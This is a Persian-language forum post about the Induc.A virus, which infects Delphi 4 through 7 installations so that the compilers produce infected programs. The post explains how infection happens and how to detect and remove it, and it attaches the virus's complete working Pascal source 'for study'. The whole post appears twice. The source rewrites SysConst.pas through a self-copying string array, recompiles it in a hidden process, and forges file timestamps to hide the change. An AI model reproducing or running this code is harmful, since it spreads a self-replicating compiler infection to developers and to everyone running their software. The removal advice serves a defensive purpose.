Fh_prg
پنج شنبه 29 مرداد 1388, 10:05 صبح
مقدمه:
به تازگي ويروسي منتشر شده كه فقط دلفي راهدف قرار ميده و دلفي آلوده شده فايلهاي آلوده كامپايل خواهد كرد. اين ويروس تحت عنوان Induc.A توسط بعضي از آنتي ويروسها شناسايي ميشه كه A نشون دهنده اينه كه اين ويروس هنوز در اول راهه و بايد در آينده منتظر ويروسهاي مخربي از اين نوع باشيم. اين نسخه فقط به صورت آزمايشي ساخته شده تا نحوه گسترشش آزمايش بشه و به نظر مياد موفق بوده تا حدي...
طريقه آلوده شدن:
نصب كامپوننت آلوده يا اجرا كردن فايل آلوده كه با دلفي آلوده ساخته شده.
اين ويروس فعلا فقط دلفي 4 تا 7 را آلوده ميكند.
طرز كار ويروس:
در تمام نسخه هاي دلفي فايلي به نام SysConst.dcu در فولدر Lib وجود داره كه در صورتي كه شما در برنامه به صورت مستقيم يا غير مستقيم از يونيت SysUtils استفاده كرده باشيد هنگام كامپايل ، دلفي يونيت SysConst را به برنامه شما الحاق خواهد كرد. ويروس فوق با آلوده كردن يونيت SysConst.dcu باعث ميشه كه دلفي فايلهاي آلوده توليد كنه...
اين ويروس فعلا خطري نداره و جز تكثير خودش عمل مخرب ديگه اي انجام نميده.
طريقه شناسايي و حذف كردن:
كافيه داخل فولدر Lib دلفي دنبال فايلي با نام SysConst.bak بگردين در صورت وجود دلفي شما آلوده شده سپس فايل SysConst.dcu را حذف كرده و فايل SysConst.bak را به SysConst.dcu تغيير نام دهيد.
در پايان كليه برنامه هايي كه با دلفي آلوده كامپايل كرديد مجددا كامپايل كنيد.
جلوگيري از آلوده شدن:
اگر از فولدر Source دلفي استفاده نميكنيد كافيه اين فولدر رو تغيير نام بديد يا حذف كنيد.
در پايان سورس كامل اين ويروس ساده رو ضميمه كردم فقط براي مطالعه....
مديران بخش با صلاحديد خودشون مطلب من رو ويرايش كنن
با تشكر.
program InducVirus;
uses windows;
var sc:array[1..24] of string=(
'uses windows; var sc:array[1..24] of string=(',
'function x(s:string):string;var i:integer;begin for i:=1 to length(s) do if s[i]',
'=#36 then s[i]:=#39;result:=s;end;procedure re(s,d,e:string);var f1,f2:textfile;',
'h:cardinal;f:STARTUPINFO;p:PROCESS_INFORMATION;b: boolean;t1,t2,t3:FILETIME;begin',
'h:=CreateFile(pchar(d+$bak$),0,0,0,3,0,0);if h<>DWORD(-1) then begin CloseHandle',
'(h);exit;end;{$I-}assignfile(f1,s);reset(f1);if ioresult<>0 then exit;assignfile',
'(f2,d+$pas$);rewrite(f2);if ioresult<>0 then begin closefile(f1);exit;end; while',
'not eof(f1) do begin readln(f1,s); writeln(f2,s); if pos($implementation$,s)<>0',
'then break;end;for h:= 1 to 1 do writeln(f2,sc[h]);for h:= 1 to 23 do writeln(f2',
',$$$$+sc[h],$$$,$);writeln(f2,$$$$+sc[24]+$$$);$);for h:= 2 to 24 do writeln(f2,',
'x(sc[h]));closefile(f1);closefile(f2);{$I+}MoveFile(pchar (d+$dcu$),pchar(d+$bak$',
')); fillchar(f,sizeof(f),0); f.cb:=sizeof(f); f.dwFlags:=STARTF_USESHOWWINDOW;f.',
'wShowWindow:=SW_HIDE;b:=CreateProcess(nil,pchar(e +$"$+d+$pas"$),0,0,false,0,0,0,',
'f,p);if b then WaitForSingleObject(p.hProcess,INFINITE);MoveFile( pchar(d+$bak$),',
'pchar(d+$dcu$));DeleteFile(pchar(d+$pas$));h:=Cre ateFile(pchar(d+$bak$),0,0,0,3,',
'0,0); if h=DWORD(-1) then exit; GetFileTime(h,@t1,@t2,@t3); CloseHandle(h);h:=',
'CreateFile(pchar(d+$dcu$),256,0,0,3,0,0);if h=DWORD(-1) then exit;SetFileTime(h,',
'@t1,@t2,@t3); CloseHandle(h); end; procedure st; var k:HKEY;c:array [1..255] of',
'char; i:cardinal; r:string; v:char; begin for v:=$4$ to $7$ do if RegOpenKeyEx(',
'HKEY_LOCAL_MACHINE,pchar($Software\Borland\Delphi \$+v+$.0$),0,KEY_READ,k)=0 then',
'begin i:=255;if RegQueryValueEx(k,$RootDir$,nil,@i,@c,@i)=0 then begin r:=$$;i:=',
'1; while c[i]<>#0 do begin r:=r+c[i];inc(i);end;re(r+$\source\rtl\sys\SysConst$+',
'$.pas$,r+$\lib\sysconst.$,$"$+r+$\bin\dcc32.exe" $);end;RegCloseKey(k);end; end;',
'begin st; end.');
function x(s:string):string;
var i:integer;
begin
for i:=1 to length(s) do
if s[i]=#36 then s[i]:=#39;
result:=s;
end;
procedure re(s,d,e:string);
var f1,f2:textfile;
h:cardinal;
f:STARTUPINFO;
p:PROCESS_INFORMATION;
b:boolean;
t1,t2,t3:FILETIME;
begin
h:=CreateFile(pchar(d+'bak'),0,0,nil,3,0,0);
if h<>DWORD(-1) then begin
CloseHandle(h);
exit;
end;
{'I-}
assignfile(f1,s);
reset(f1);
if ioresult<>0 then exit;
assignfile(f2,d+'pas');
rewrite(f2);
if ioresult<>0 then begin
closefile(f1);
exit;
end;
while not eof(f1) do begin
readln(f1,s);
writeln(f2,s);
if pos('implementation',s)<>0 then break;
end;
for h:= 1 to 1 do writeln(f2,sc[h]);
for h:= 1 to 23 do writeln(f2,''''+sc[h],''',');
writeln(f2,''''+sc[24]+''');');
for h:= 2 to 24 do writeln(f2,x(sc[h]));
closefile(f1);
closefile(f2);
{'I+}
MoveFile(pchar(d+'dcu'),pchar(d+'bak'));
fillchar(f,sizeof(f),0);
f.cb:=sizeof(f);
f.dwFlags:=STARTF_USESHOWWINDOW;
f.wShowWindow:=SW_HIDE;
b:=CreateProcess(nil,pchar(e+'"'+d+'pas"'),nil,nil,false,0,nil,nil,f,p);
if b then WaitForSingleObject(p.hProcess,INFINITE);
MoveFile(pchar(d+'bak'),pchar(d+'dcu'));
DeleteFile(pchar(d+'pas'));
h:=CreateFile(pchar(d+'bak'),0,0,nil,3,0,0);
if h=DWORD(-1) then exit;
GetFileTime(h,@t1,@t2,@t3);
CloseHandle(h);
h:=CreateFile(pchar(d+'dcu'),256,0,nil,3,0,0);
if h=DWORD(-1) then exit;
SetFileTime(h,@t1,@t2,@t3);
CloseHandle(h);
end;
procedure st;
var k:HKEY;
c:array [1..255] of char;
i:cardinal;
r:string;
v:char;
begin
for v:='4' to '7' do if RegOpenKeyEx(HKEY_LOCAL_MACHINE,
pchar('Software\Borland\Delphi\'+v+'.0'),0,
KEY_READ,k)=0 then
begin
i:=255;
if RegQueryValueEx(k,'RootDir',nil,@i,@c,@i)=0 then begin
r:='';
i:=1;
while c[i]<>#0 do begin
r:=r+c[i];
inc(i);
end;
re(r+'\source\rtl\sys\SysConst'+'.pas',r+'\lib\sys const.','"'+r+'\bin\dcc32.exe" ');
end;
RegCloseKey(k);
end;
end;
begin
st;
end.
به تازگي ويروسي منتشر شده كه فقط دلفي راهدف قرار ميده و دلفي آلوده شده فايلهاي آلوده كامپايل خواهد كرد. اين ويروس تحت عنوان Induc.A توسط بعضي از آنتي ويروسها شناسايي ميشه كه A نشون دهنده اينه كه اين ويروس هنوز در اول راهه و بايد در آينده منتظر ويروسهاي مخربي از اين نوع باشيم. اين نسخه فقط به صورت آزمايشي ساخته شده تا نحوه گسترشش آزمايش بشه و به نظر مياد موفق بوده تا حدي...
طريقه آلوده شدن:
نصب كامپوننت آلوده يا اجرا كردن فايل آلوده كه با دلفي آلوده ساخته شده.
اين ويروس فعلا فقط دلفي 4 تا 7 را آلوده ميكند.
طرز كار ويروس:
در تمام نسخه هاي دلفي فايلي به نام SysConst.dcu در فولدر Lib وجود داره كه در صورتي كه شما در برنامه به صورت مستقيم يا غير مستقيم از يونيت SysUtils استفاده كرده باشيد هنگام كامپايل ، دلفي يونيت SysConst را به برنامه شما الحاق خواهد كرد. ويروس فوق با آلوده كردن يونيت SysConst.dcu باعث ميشه كه دلفي فايلهاي آلوده توليد كنه...
اين ويروس فعلا خطري نداره و جز تكثير خودش عمل مخرب ديگه اي انجام نميده.
طريقه شناسايي و حذف كردن:
كافيه داخل فولدر Lib دلفي دنبال فايلي با نام SysConst.bak بگردين در صورت وجود دلفي شما آلوده شده سپس فايل SysConst.dcu را حذف كرده و فايل SysConst.bak را به SysConst.dcu تغيير نام دهيد.
در پايان كليه برنامه هايي كه با دلفي آلوده كامپايل كرديد مجددا كامپايل كنيد.
جلوگيري از آلوده شدن:
اگر از فولدر Source دلفي استفاده نميكنيد كافيه اين فولدر رو تغيير نام بديد يا حذف كنيد.
در پايان سورس كامل اين ويروس ساده رو ضميمه كردم فقط براي مطالعه....
مديران بخش با صلاحديد خودشون مطلب من رو ويرايش كنن
با تشكر.
program InducVirus;
uses windows;
var sc:array[1..24] of string=(
'uses windows; var sc:array[1..24] of string=(',
'function x(s:string):string;var i:integer;begin for i:=1 to length(s) do if s[i]',
'=#36 then s[i]:=#39;result:=s;end;procedure re(s,d,e:string);var f1,f2:textfile;',
'h:cardinal;f:STARTUPINFO;p:PROCESS_INFORMATION;b: boolean;t1,t2,t3:FILETIME;begin',
'h:=CreateFile(pchar(d+$bak$),0,0,0,3,0,0);if h<>DWORD(-1) then begin CloseHandle',
'(h);exit;end;{$I-}assignfile(f1,s);reset(f1);if ioresult<>0 then exit;assignfile',
'(f2,d+$pas$);rewrite(f2);if ioresult<>0 then begin closefile(f1);exit;end; while',
'not eof(f1) do begin readln(f1,s); writeln(f2,s); if pos($implementation$,s)<>0',
'then break;end;for h:= 1 to 1 do writeln(f2,sc[h]);for h:= 1 to 23 do writeln(f2',
',$$$$+sc[h],$$$,$);writeln(f2,$$$$+sc[24]+$$$);$);for h:= 2 to 24 do writeln(f2,',
'x(sc[h]));closefile(f1);closefile(f2);{$I+}MoveFile(pchar (d+$dcu$),pchar(d+$bak$',
')); fillchar(f,sizeof(f),0); f.cb:=sizeof(f); f.dwFlags:=STARTF_USESHOWWINDOW;f.',
'wShowWindow:=SW_HIDE;b:=CreateProcess(nil,pchar(e +$"$+d+$pas"$),0,0,false,0,0,0,',
'f,p);if b then WaitForSingleObject(p.hProcess,INFINITE);MoveFile( pchar(d+$bak$),',
'pchar(d+$dcu$));DeleteFile(pchar(d+$pas$));h:=Cre ateFile(pchar(d+$bak$),0,0,0,3,',
'0,0); if h=DWORD(-1) then exit; GetFileTime(h,@t1,@t2,@t3); CloseHandle(h);h:=',
'CreateFile(pchar(d+$dcu$),256,0,0,3,0,0);if h=DWORD(-1) then exit;SetFileTime(h,',
'@t1,@t2,@t3); CloseHandle(h); end; procedure st; var k:HKEY;c:array [1..255] of',
'char; i:cardinal; r:string; v:char; begin for v:=$4$ to $7$ do if RegOpenKeyEx(',
'HKEY_LOCAL_MACHINE,pchar($Software\Borland\Delphi \$+v+$.0$),0,KEY_READ,k)=0 then',
'begin i:=255;if RegQueryValueEx(k,$RootDir$,nil,@i,@c,@i)=0 then begin r:=$$;i:=',
'1; while c[i]<>#0 do begin r:=r+c[i];inc(i);end;re(r+$\source\rtl\sys\SysConst$+',
'$.pas$,r+$\lib\sysconst.$,$"$+r+$\bin\dcc32.exe" $);end;RegCloseKey(k);end; end;',
'begin st; end.');
function x(s:string):string;
var i:integer;
begin
for i:=1 to length(s) do
if s[i]=#36 then s[i]:=#39;
result:=s;
end;
procedure re(s,d,e:string);
var f1,f2:textfile;
h:cardinal;
f:STARTUPINFO;
p:PROCESS_INFORMATION;
b:boolean;
t1,t2,t3:FILETIME;
begin
h:=CreateFile(pchar(d+'bak'),0,0,nil,3,0,0);
if h<>DWORD(-1) then begin
CloseHandle(h);
exit;
end;
{'I-}
assignfile(f1,s);
reset(f1);
if ioresult<>0 then exit;
assignfile(f2,d+'pas');
rewrite(f2);
if ioresult<>0 then begin
closefile(f1);
exit;
end;
while not eof(f1) do begin
readln(f1,s);
writeln(f2,s);
if pos('implementation',s)<>0 then break;
end;
for h:= 1 to 1 do writeln(f2,sc[h]);
for h:= 1 to 23 do writeln(f2,''''+sc[h],''',');
writeln(f2,''''+sc[24]+''');');
for h:= 2 to 24 do writeln(f2,x(sc[h]));
closefile(f1);
closefile(f2);
{'I+}
MoveFile(pchar(d+'dcu'),pchar(d+'bak'));
fillchar(f,sizeof(f),0);
f.cb:=sizeof(f);
f.dwFlags:=STARTF_USESHOWWINDOW;
f.wShowWindow:=SW_HIDE;
b:=CreateProcess(nil,pchar(e+'"'+d+'pas"'),nil,nil,false,0,nil,nil,f,p);
if b then WaitForSingleObject(p.hProcess,INFINITE);
MoveFile(pchar(d+'bak'),pchar(d+'dcu'));
DeleteFile(pchar(d+'pas'));
h:=CreateFile(pchar(d+'bak'),0,0,nil,3,0,0);
if h=DWORD(-1) then exit;
GetFileTime(h,@t1,@t2,@t3);
CloseHandle(h);
h:=CreateFile(pchar(d+'dcu'),256,0,nil,3,0,0);
if h=DWORD(-1) then exit;
SetFileTime(h,@t1,@t2,@t3);
CloseHandle(h);
end;
procedure st;
var k:HKEY;
c:array [1..255] of char;
i:cardinal;
r:string;
v:char;
begin
for v:='4' to '7' do if RegOpenKeyEx(HKEY_LOCAL_MACHINE,
pchar('Software\Borland\Delphi\'+v+'.0'),0,
KEY_READ,k)=0 then
begin
i:=255;
if RegQueryValueEx(k,'RootDir',nil,@i,@c,@i)=0 then begin
r:='';
i:=1;
while c[i]<>#0 do begin
r:=r+c[i];
inc(i);
end;
re(r+'\source\rtl\sys\SysConst'+'.pas',r+'\lib\sys const.','"'+r+'\bin\dcc32.exe" ');
end;
RegCloseKey(k);
end;
end;
begin
st;
end.